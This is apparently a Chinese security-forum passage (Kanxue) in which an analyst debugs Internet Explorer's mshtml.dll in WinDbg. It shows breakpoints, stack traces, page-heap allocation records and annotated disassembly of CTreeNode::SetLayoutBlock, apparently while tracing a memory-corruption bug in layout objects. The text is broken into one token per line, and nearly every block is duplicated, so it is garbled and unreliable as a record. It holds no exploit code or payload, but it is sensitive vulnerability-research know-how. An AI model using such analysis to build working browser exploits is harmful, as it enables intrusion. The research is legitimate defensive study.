mshtml!CMarkup::InsertElementInternal
+
0x23d
".echo '= CTreeNode =';r eax;g"
3
e
71ed20e1
0001
(
0001
)
0
:
*
*
*
*
mshtml!CElement::GetOffsetParentHelper
4
e
71fa984c
0001
(
0001
)
0
:
*
*
*
*
mshtml!CElement::put_innerHTML
0
:
005
> bl
0
e
71fe4be7
0001
(
0001
)
0
:
*
*
*
*
mshtml!CreateElement
+
0x41
"ln eax;g"
1
e
71fe485b
0001
(
0001
)
0
:
*
*
*
*
mshtml!CElement::CElement
+
0x4c
".echo '=celement='; r eax;g"
2
e
71fc0d02
0001
(
0001
)
0
:
*
*
*
*
mshtml!CMarkup::InsertElementInternal
+
0x23d
".echo '= CTreeNode =';r eax;g"
3
e
71ed20e1
0001
(
0001
)
0
:
*
*
*
*
mshtml!CElement::GetOffsetParentHelper
4
e
71fa984c
0001
(
0001
)
0
:
*
*
*
*
mshtml!CElement::put_innerHTML
0
:
005
> ddp
0cec1fb0
+
0x44
l1
0cec1ff4
0c53ffa0
71fc6cc8
mshtml!CTextBlock::`vftable'
0
:
005
> ddp
0cec1fb0
+
0x44
l1
0cec1ff4
0c53ffa0
71fc6cc8
mshtml!CTextBlock::`vftable'
0
:
005
> ba r4
0cec1fb0
+
44
0
:
005
> g
Breakpoint
4
hit
eax
=
00000000
ebx
=
0849e6fc
ecx
=
00000000
edx
=
00000000
esi
=
0cec1fb0
edi
=
0cef7fa0
eip
=
720c0553
esp
=
0849cfd4
ebp
=
0849cfe8
iopl
=
0
nv up ei pl zr na pe nc
cs
=
0023
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00000246
mshtml!CTreeNode::SetLayoutBlock
+
0x3
:
720c0553
3bcf
cmp
ecx,edi
0
:
005
> ba r4
0cec1fb0
+
44
0
:
005
> g
Breakpoint
4
hit
eax
=
00000000
ebx
=
0849e6fc
ecx
=
00000000
edx
=
00000000
esi
=
0cec1fb0
edi
=
0cef7fa0
eip
=
720c0553
esp
=
0849cfd4
ebp
=
0849cfe8
iopl
=
0
nv up ei pl zr na pe nc
cs
=
0023
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00000246
mshtml!CTreeNode::SetLayoutBlock
+
0x3
:
720c0553
3bcf
cmp
ecx,edi
0
:
005
> kb
ChildEBP RetAddr Args to Child
0849cfd0
71f11243
ffffffff ffffffff
00000002
mshtml!CTreeNode::SetLayoutBlock
+
0x3
0849cfe8
71f8c4f7
0cef7fa0
00000002
0849e6f4
mshtml!CTextBlock::BuildSpanBeginRun
+
0x4a
0849e704
71f8b667
0cef7fa0
0d25cf30
0d140fd8
mshtml!CTextBlock::BuildTextBlock
+
0xaeb
0849e748
71f68f0a
0d25cf30
0d140fd8
0d29afc8
mshtml!CLayoutBlock::BuildBlock
+
0x1ec
0849e7c8
71f68c83
0d29afc8
0d25cf30
0d140fd8
mshtml!CBlockContainerBlock::BuildBlockContainer
+
0x59d
0849e800
71f68f0a
0d25cf30
0cf00fd8
0c186fc8
mshtml!CLayoutBlock::BuildBlock
+
0x1c1
0849e880
71f68c83
0c186fc8
0d25cf30
0cf00fd8
mshtml!CBlockContainerBlock::BuildBlockContainer
+
0x59d
0849e8b8
71f68f0a
0d25cf30
0cbddfd8
0c049fc8
mshtml!CLayoutBlock::BuildBlock
+
0x1c1
0849e938
71f68c83
0c049fc8
0d25cf30
0cbddfd8
mshtml!CBlockContainerBlock::BuildBlockContainer
+
0x59d
0849e970
71f69af4
0d25cf30
00000000
00000000
mshtml!CLayoutBlock::BuildBlock
+
0x1c1
0849ea34
71f6a4f5
0125cf30
0c16afa8
0849ea5b
mshtml!CCssDocumentLayout::GetPage
+
0x22a
0849eba4
7208cc48
0849ed68
0849ed00
00000000
mshtml!CCssPageLayout::CalcSizeVirtual
+
0x247
0849ecdc
720bce63
0c16afa8
00000000
00000000
mshtml!CLayout::CalcSize
+
0x2b8
0849edd8
71fcaa21
00100000
0849ee30
0cee8fd8
mshtml!CLayout::DoLayout
+
0x11d
0849edec
72067515
0849ee30
0849ee30
7208c20c
mshtml!CCssPageLayout::Notify
+
0x140
0849edf8
7208c20c
00000000
0cf00fb0
00000000
mshtml!NotifyElement
+
0x41
0849ee0c
7208c108
0849ee30
0cf00fb0
00000000
mshtml!NotifyTreeNode
+
0x63
0849ee64
7206730e
0849eef8
0bd7f680
0849eef8
mshtml!NotifyAncestors
+
0x1b7
0849eebc
7206727c
0c6e0f30
00000000
0bd7f744
mshtml!CMarkup::SendNotification
+
0x92
0849eee4
7208c06c
0849eef8
0bd7f870
ffffffff mshtml!CMarkup::Notify
+
0xd6
0849ef2c
720f7e44
0000000f
00000000
00000000
mshtml!CElement::SendNotification
+
0x4a
0849ef54
72119b0d
0bd5dfd8
00000001
0849f030
mshtml!CElement::EnsureRecalcNotify
+
0x15f
0849ef94
71ed21fc
00000000
00001200
723d8ba0
mshtml!CElement::GetOffsetParentHelper
+
0x60
0849efa8
720dde50
0bd5dfd8
0849f030
00000000
mshtml!CElement::get_offsetParent
+
0x30
...
0
:
005
> kb
ChildEBP RetAddr Args to Child
0849cfd0
71f11243
ffffffff ffffffff
00000002
mshtml!CTreeNode::SetLayoutBlock
+
0x3
0849cfe8
71f8c4f7
0cef7fa0
00000002
0849e6f4
mshtml!CTextBlock::BuildSpanBeginRun
+
0x4a
0849e704
71f8b667
0cef7fa0
0d25cf30
0d140fd8
mshtml!CTextBlock::BuildTextBlock
+
0xaeb
0849e748
71f68f0a
0d25cf30
0d140fd8
0d29afc8
mshtml!CLayoutBlock::BuildBlock
+
0x1ec
0849e7c8
71f68c83
0d29afc8
0d25cf30
0d140fd8
mshtml!CBlockContainerBlock::BuildBlockContainer
+
0x59d
0849e800
71f68f0a
0d25cf30
0cf00fd8
0c186fc8
mshtml!CLayoutBlock::BuildBlock
+
0x1c1
0849e880
71f68c83
0c186fc8
0d25cf30
0cf00fd8
mshtml!CBlockContainerBlock::BuildBlockContainer
+
0x59d
0849e8b8
71f68f0a
0d25cf30
0cbddfd8
0c049fc8
mshtml!CLayoutBlock::BuildBlock
+
0x1c1
0849e938
71f68c83
0c049fc8
0d25cf30
0cbddfd8
mshtml!CBlockContainerBlock::BuildBlockContainer
+
0x59d
0849e970
71f69af4
0d25cf30
00000000
00000000
mshtml!CLayoutBlock::BuildBlock
+
0x1c1
0849ea34
71f6a4f5
0125cf30
0c16afa8
0849ea5b
mshtml!CCssDocumentLayout::GetPage
+
0x22a
0849eba4
7208cc48
0849ed68
0849ed00
00000000
mshtml!CCssPageLayout::CalcSizeVirtual
+
0x247
0849ecdc
720bce63
0c16afa8
00000000
00000000
mshtml!CLayout::CalcSize
+
0x2b8
0849edd8
71fcaa21
00100000
0849ee30
0cee8fd8
mshtml!CLayout::DoLayout
+
0x11d
0849edec
72067515
0849ee30
0849ee30
7208c20c
mshtml!CCssPageLayout::Notify
+
0x140
0849edf8
7208c20c
00000000
0cf00fb0
00000000
mshtml!NotifyElement
+
0x41
0849ee0c
7208c108
0849ee30
0cf00fb0
00000000
mshtml!NotifyTreeNode
+
0x63
0849ee64
7206730e
0849eef8
0bd7f680
0849eef8
mshtml!NotifyAncestors
+
0x1b7
0849eebc
7206727c
0c6e0f30
00000000
0bd7f744
mshtml!CMarkup::SendNotification
+
0x92
0849eee4
7208c06c
0849eef8
0bd7f870
ffffffff mshtml!CMarkup::Notify
+
0xd6
0849ef2c
720f7e44
0000000f
00000000
00000000
mshtml!CElement::SendNotification
+
0x4a
0849ef54
72119b0d
0bd5dfd8
00000001
0849f030
mshtml!CElement::EnsureRecalcNotify
+
0x15f
0849ef94
71ed21fc
00000000
00001200
723d8ba0
mshtml!CElement::GetOffsetParentHelper
+
0x60
0849efa8
720dde50
0bd5dfd8
0849f030
00000000
mshtml!CElement::get_offsetParent
+
0x30
...
/
/
CTreeNode::SetLayoutBlock
mov ecx, [esi
+
44h
] ; 获取CTreeNode中保存的CTextBlock地址
cmp
ecx, edi
jnz loc_71FC6FAB
...
test ecx, ecx
jz short loc_71FC6FB8 ; 如果没有保存任何地址
...
test edi, edi
jz loc_720C055B
mov eax, edi
mov [esi
+
44h
], edi ; 把edi作为CTextBlock的值保存下来
call ?CLayoutBlock_AddRef@@YGXPAVCLayoutBlock@@@Z ; CLayoutBlock_AddRef(CLayoutBlock
*
) ; 这里应该是一个计数器,里面增加了
1
/
/
CTreeNode::SetLayoutBlock
mov ecx, [esi
+
44h
] ; 获取CTreeNode中保存的CTextBlock地址
cmp
ecx, edi
jnz loc_71FC6FAB
...
test ecx, ecx
jz short loc_71FC6FB8 ; 如果没有保存任何地址
...
test edi, edi
jz loc_720C055B
mov eax, edi
mov [esi
+
44h
], edi ; 把edi作为CTextBlock的值保存下来
call ?CLayoutBlock_AddRef@@YGXPAVCLayoutBlock@@@Z ; CLayoutBlock_AddRef(CLayoutBlock
*
) ; 这里应该是一个计数器,里面增加了
1
0
:
005
> ddp edi
0cef7fa0
71fc6cc8
71fcad5d
mshtml!CTextBlock::`vector deleting destructor'
0cef7fa4
00000004
/
/
这里是一个计数器
0cef7fa8
0005e497
0cef7fac
0bd1afc0
00000051
/
/
f2的CTreePos的地址
0cef7fb0
00000000
0cef7fb4
0d29afc8
71fca570
mshtml!CBlockContainerBlock::`vftable'
/
/
所以这是一个双向链表?
0cef7fb8
00000000
0cef7fbc
0c53ffb0
71f5fa7c
mshtml!CTableContainerBlock::`vftable'
/
/
这里分别指向前向和后向?
0cef7fc0
00000000
0cef7fc4
00000000
0cef7fc8
ffffffff
0cef7fcc
ffffffff
0cef7fd0
0c682f10
03000100
0cef7fd4
00000000
0cef7fd8
00000000
0cef7fdc
00000000
0cef7fe0
00000000
0cef7fe4
0d140fb0
0d150fd0
/
/
很眼熟,看一下前面的图片,这个是CBodyElement的CTreeNode的地址
0cef7fe8
0000ffff
0cef7fec
71ea9fd0
7206519d
mshtml!CFlowLayout::OnTextChange
0cef7ff0
00000004
0cef7ff4
00000004
0cef7ff8
0cef9fc0
00000805
/
/
看起来也是一个地址
0cef7ffc
d0d0d0d0
0
:
005
> ddp edi
0cef7fa0
71fc6cc8
71fcad5d
mshtml!CTextBlock::`vector deleting destructor'
0cef7fa4
00000004
/
/
这里是一个计数器
0cef7fa8
0005e497
0cef7fac
0bd1afc0
00000051
/
/
f2的CTreePos的地址
0cef7fb0
00000000
0cef7fb4
0d29afc8
71fca570
mshtml!CBlockContainerBlock::`vftable'
/
/
所以这是一个双向链表?
0cef7fb8
00000000
0cef7fbc
0c53ffb0
71f5fa7c
mshtml!CTableContainerBlock::`vftable'
/
/
这里分别指向前向和后向?
0cef7fc0
00000000
0cef7fc4
00000000
0cef7fc8
ffffffff
0cef7fcc
ffffffff
0cef7fd0
0c682f10
03000100
0cef7fd4
00000000
0cef7fd8
00000000
0cef7fdc
00000000
0cef7fe0
00000000
0cef7fe4
0d140fb0
0d150fd0
/
/
很眼熟,看一下前面的图片,这个是CBodyElement的CTreeNode的地址
0cef7fe8
0000ffff
0cef7fec
71ea9fd0
7206519d
mshtml!CFlowLayout::OnTextChange
0cef7ff0
00000004
0cef7ff4
00000004
0cef7ff8
0cef9fc0
00000805
/
/
看起来也是一个地址
0cef7ffc
d0d0d0d0
0
:
005
> ddp
0cef9fc0
0cef9fc0
00000805
0cef9fc4
00000001
0cef9fc8
0bd1afc0
00000051
/
/
f2的CTreePos的地址
0cef9fcc
0bd1afb0
0d2f7fd8
/
/
f2的CTreeNode的地址
0cef9fd0
c0c0c0c0
0cef9fd4
c0c0c0c0
...
0
:
005
> ddp
0cef9fc0
0cef9fc0
00000805
0cef9fc4
00000001
0cef9fc8
0bd1afc0
00000051
/
/
f2的CTreePos的地址
0cef9fcc
0bd1afb0
0d2f7fd8
/
/
f2的CTreeNode的地址
0cef9fd0
c0c0c0c0
0cef9fd4
c0c0c0c0
...
0
:
005
> !heap
-
p
-
a
0cec1fb0
address
0cec1fb0
found
in
_DPH_HEAP_ROOT @
331000
in
busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize
-
VirtAddr VirtSize)
ce12514: cec1fb0
4c
-
cec1000
2000
74618e89
verifier!AVrfDebugPageHeapAllocate
+
0x00000229
771402fe
ntdll!RtlDebugAllocateHeap
+
0x00000030
770fac4b
ntdll!RtlpAllocateHeap
+
0x000000c4
770a3b4e
ntdll!RtlAllocateHeap
+
0x0000023a
71fc0ceb
mshtml!CMarkup::InsertElementInternal
+
0x0000022a
71fa1c01
mshtml!CDoc::InsertElement
+
0x0000008a
71fa1b36
mshtml!InsertDOMNodeHelper
+
0x000000c2
71fa2222
mshtml!CElement::InsertBeforeHelper
+
0x000000d1
71fa2148
mshtml!CElement::insertBefore
+
0x0000003c
71fa20fe
mshtml!CElement::appendChild
+
0x0000003a
...
0
:
005
> !heap
-
p
-
a
0cec1fb0
address
0cec1fb0
found
in
_DPH_HEAP_ROOT @
331000
in
busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize
-
VirtAddr VirtSize)
ce12514: cec1fb0
4c
-
cec1000
2000
74618e89
verifier!AVrfDebugPageHeapAllocate
+
0x00000229
771402fe
ntdll!RtlDebugAllocateHeap
+
0x00000030
770fac4b
ntdll!RtlpAllocateHeap
+
0x000000c4
770a3b4e
ntdll!RtlAllocateHeap
+
0x0000023a
71fc0ceb
mshtml!CMarkup::InsertElementInternal
+
0x0000022a
71fa1c01
mshtml!CDoc::InsertElement
+
0x0000008a
71fa1b36
mshtml!InsertDOMNodeHelper
+
0x000000c2
71fa2222
mshtml!CElement::InsertBeforeHelper
+
0x000000d1
71fa2148
mshtml!CElement::insertBefore
+
0x0000003c
71fa20fe
mshtml!CElement::appendChild
+
0x0000003a
...
0
:
005
> !heap
-
p
-
a
0ce20fc8
address
0ce20fc8
found
in
_DPH_HEAP_ROOT @
331000
in
busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize
-
VirtAddr VirtSize)
ce115b0: ce20fc8
38
-
ce20000
2000
mshtml!CGenericElement::`vftable'
74618e89
verifier!AVrfDebugPageHeapAllocate
+
0x00000229
771402fe
ntdll!RtlDebugAllocateHeap
+
0x00000030
770fac4b
ntdll!RtlpAllocateHeap
+
0x000000c4
770a3b4e
ntdll!RtlAllocateHeap
+
0x0000023a
71ecc24c
mshtml!CGenericElement::CreateElement
+
0x00000018
71fe4be9
mshtml!CreateElement
+
0x00000043
7201ca5d
mshtml!CMarkup::CreateElement
+
0x000002e4
71fa1e56
mshtml!CDocument::CreateElementHelper
+
0x00000052
71fa1dcf
mshtml!CDocument::createElement
+
0x00000021
...
0
:
005
> !heap
-
p
-
a
0ce20fc8
address
0ce20fc8
found
in
_DPH_HEAP_ROOT @
331000
in
busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize
-
VirtAddr VirtSize)
ce115b0: ce20fc8
38
-
ce20000
2000
mshtml!CGenericElement::`vftable'
74618e89
verifier!AVrfDebugPageHeapAllocate
+
0x00000229
771402fe
ntdll!RtlDebugAllocateHeap
+
0x00000030
770fac4b
ntdll!RtlpAllocateHeap
+
0x000000c4
770a3b4e
ntdll!RtlAllocateHeap
+
0x0000023a
71ecc24c
mshtml!CGenericElement::CreateElement
+
0x00000018
71fe4be9
mshtml!CreateElement
+
0x00000043
7201ca5d
mshtml!CMarkup::CreateElement
+
0x000002e4
71fa1e56
mshtml!CDocument::CreateElementHelper
+
0x00000052
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!